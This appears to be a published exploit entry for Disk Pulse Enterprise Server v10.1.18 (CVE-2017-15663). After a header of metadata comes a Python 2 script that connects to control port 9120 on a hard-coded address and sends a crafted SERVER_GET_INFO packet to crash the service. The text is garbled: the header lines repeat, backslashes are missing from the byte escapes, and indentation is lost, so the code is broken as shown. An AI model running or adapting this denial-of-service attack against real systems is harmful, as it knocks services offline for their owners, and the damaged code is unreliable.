# Exploit Title: Disk Pulse Enterprise Server v10.1.18 - DOS,
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v10. # Exploit Title: Disk Pulse Enterprise Server v10.1.18 - DOS,
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v10.1.18.exe
# Version: v10.1.18
# Category; Windows Remote DOS
# CVE: CVE-2017-15663
# Author Twitter: @eln1x
# Description In Disk Pulse Enterprise Server v10.1.18, the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9120.





import socket
target = "192.168.72.231"
port = 9120
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))

packet = "x75x19xbaxabx03"
packet +="x00x00x00x01x00x00x00x1a"
packet += "x00"
packet += "x3e" #evil
packet += "x00"
packet += "x20"
packet += "x00"
packet += "x00"
packet += "x00"
packet += "x00x00x00x00"
packet += "SERVER_GET_INFO"
packet += "x02x32x01"
packet += "Data"
packet += "x01x30x01x00"
packet += "x04x02x74"
packet += "x18x18x00"

s.send(packet)

try:

data = s.recv(100)
print data

except:

print "K1LL3D"